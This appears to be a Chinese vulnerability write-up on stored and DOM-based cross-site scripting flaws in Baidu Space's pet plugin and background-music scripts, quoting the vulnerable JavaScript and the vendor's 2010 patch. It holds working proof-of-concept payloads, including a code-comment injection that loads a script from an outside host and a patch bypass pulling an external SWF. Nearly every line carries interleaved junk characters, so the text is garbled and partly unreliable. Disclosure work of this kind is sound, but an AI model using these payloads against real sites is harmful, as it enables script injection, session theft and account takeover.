百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 7 W! P t1 Y$ w
3 N x2 c! P2 V9 c2 @( i# T1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
2 O% q# L& e7 |5 @# @2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
9 _+ Q% P2 ]& x. t$ [/ U* W
. a1 Z: Z* H0 n9 s将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> ) ~3 T: U" E4 J% Q5 Y
其中BdUtil.insertWBR为
1 K; r) j# \ C" Ifunction(text, step) { ( {/ R. v' B+ _- B
var textarea = textAreaCache || getContainer(); 0 d; F4 z8 t# W1 F* q# v- O
if (!textarea) { ( u/ Y/ Y) |! t% T2 q7 F
return text;
& \1 j0 @8 J- E" E }
; b4 y R8 y4 h# `( R textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 5 H) o5 _2 t4 Z* I
var string = textarea.value; ) {% M' o1 N/ q
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
* _8 }1 d$ j( g" ?2 f5 F var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
5 A1 R' S) ?# w& |9 V! B return result;
& r; f* K5 e" |}
% ? f3 B( k6 e$ g在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
9 o- w! q3 J. C3 ?测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
9 D" v2 \" Q$ \+ L+ L' M8 I
1 n3 X5 U9 ^: ~2 [& _二:creatbgmusic() Dom-Xss Bug
0 K) H5 X/ Z' q: y! k) D( S4 N0 Z百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 % i& u/ i: |0 u* g7 s. F
- x+ L9 n: J8 a
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
4 `2 m$ q( C8 i0 W J2 p, Q5 ^3 m x* f- V6 H
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { 3 G4 C2 R3 O. x/ R' \6 R
//传入的murl赋值到bgmusic1和bgmusic2中
2 G+ S/ q" L. Y2 s* g# H //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
: p! X4 F1 ^% L; b, s2 C" D var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; * J) l- V Y( _6 J2 r) \
if (musicnum <= 1) { & p7 i- D z6 x, M# N# j
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
- S8 c0 d# J9 }4 D) o* ~0 Q2 n }
1 i. {0 D/ J% `: H) U; a bgmusic1 += "</OBJECT>";
+ L( Q% P4 ^$ | var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; ' Z2 g) j8 o8 }8 |/ c
if (musicnum <= 1) { & B) x6 _. i' S
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
4 E5 B" ]5 y5 k4 @' t } % T# v9 L6 z# i
bgmusic2 += "> </EMBED>"; ( F( G% r5 w" y, {9 ?4 S
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
6 I4 u' _" i1 g) I5 R" I2 V1 ~' d var bgmus = detectWMP();
9 h% |2 A; y# d7 F5 {8 l4 ~4 U if (functype == "FckMusicHelper") {
- N$ M$ Q( L# T: C8 V if (bgmus.installed) { * v: M( a6 Z9 |$ N$ J1 K7 R8 o
if (bgmus.type == "IE") {
6 r$ l" P; n2 z' O return bgmusic1; 0 _ v9 l* z* P% M% g C; Y @2 W/ c
} else if (bgmus.type == "NS") { 3 B1 w& A' K5 o0 |% u
return bgmusic2;
4 w' N0 J3 r3 t( W% l* X" n } 4 k! I8 W4 G( N" M% @1 N
} else {
7 p. _- X: F5 m( A& V* ~4 X return bgmusic3;
5 M) \% I$ W$ B7 V0 e a }
5 g: `4 S/ _& L) W } else {
. [$ ]5 C* P m5 _, R: B& G1 A' a if (bgmus.installed) { + h. D# n7 ^* H( D" C
//document.write 直接输出bgmusic变量 导致xss . B% `5 s& g) I2 Z% }3 W
if (bgmus.type == "IE") { + |. o0 s& K4 r; _) q( z' o1 \
document.write(bgmusic1); R" d7 N$ |: v
} else if (bgmus.type == "NS") { 1 v' t1 x0 H0 D4 W& I6 G; P
document.write(bgmusic2);
2 m6 @2 a* d* R6 j# ~ }
% v2 ]* j G2 [+ S1 p# q ?; r* ? } else { 8 @% q) _, R# z; _. d" t, v$ B
document.write(bgmusic3);
) j; h/ j$ L' [* l9 @0 \ }
1 Q, ~0 I- ?: S, [$ K, g return "";
6 X0 Y$ i/ Z. ^% x8 ]9 r }
. d2 J; y3 E( X5 q& [* m}
6 c$ q' |5 }' s1 L. w% x
, O7 p+ v1 R6 v/ j5 g& _- L在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
+ y9 u; \6 I4 P; Q; w4 C, Z! j4 {" ]7 t7 E2 N
function initBlogTextForFCK(){
0 ]- W" c# o& p! Q2 m- J+ b1 x# B//fck init music 8 @# R4 ?% s; z5 O/ R
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
8 u+ \: l9 V# P5 h. Pvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 . J0 Q4 E! p" r0 v3 r& N- `
var isAutoPlay=true; " t* j/ U; c. b/ u6 f, {
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. % I6 F& \5 m& |1 X/ ~7 e
var img=imgBox; " B; y& ?# J/ v* G( e# F! ~8 O
if(img.getAttribute(’rel’)){
" J# @. K2 ?( o4 T: s5 L var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc ) D, K5 k7 G- c4 G: \+ |8 B$ m/ C5 M
var musicDiv = document.createElement("SPAN");
6 B9 B; }5 e/ I2 D var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
: M$ T9 R; w% ]+ e T/ h8 ~/ u
% C6 ~, Z- s& x- E4 b .......................... " T) y4 q# O7 m! v
8 @5 R+ \5 J/ U* N- D
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. . v a. b. }- v3 B% H0 X' t: u+ B" z
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
7 ~6 u6 z1 f$ H2 [ shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); . E& A- `8 {# ~3 ~; D6 [. o
musicDiv.innerHTML=shtml; 8 s+ G# }# b3 w8 m4 B" M! j* l
i--;n--;
) V; A8 E; `* z; b0 M8 x$ l }
* `# |& h; `) u5 T: K} # G" @. n: P+ H4 M* W l
8 V1 a, o/ s& _ O( ?' Z L, }1 g从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
1 |/ i2 c% K' f6 S1 t- [6 t ' l. P( z* f' @5 v
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
n1 C4 m! x$ k
. J9 c3 d+ C7 }5 r等待官方补丁
% y3 p0 b3 g8 B# l' `$ M4 H E" y+ e% d% Z! C& t
update 2010年5月13日
5 t4 G2 N8 U/ @" e' z g
+ ]9 I2 y5 h6 O/ S9 p! Q0 j官方补丁: ]: c8 Z* V) w9 _9 t$ W' C" y" V( d' K
0 k8 |6 C. d& L* p& y3 E# Cvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ( m4 P1 Q {) X
改为: " E+ p6 V( i8 P' e8 B
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 8 s- e q( i4 c
' t5 [7 q2 T4 B; _8 \update 2010年5月13日 21:50:37
0 @! s' }, p" _
; }- \3 p; h: }( y, Q1 T T0 m补丁存在漏洞 没有过滤" 可以继续跨:
* ~, t0 ?( K' ?5 \+ Q$ Y* r# e0 h3 U8 e/ b' v
NEW POC:
3 F' B% X3 `) m# Q- p. c
% h/ D1 O7 B( o x5 A<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
8 U8 ^( d( p# _# n( S' c Y( w6 s7 Q( G1 c0 G- D
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>. i, }- ~3 L- i. E& _$ A8 X
% {0 W6 P% G1 `7 d9 c
|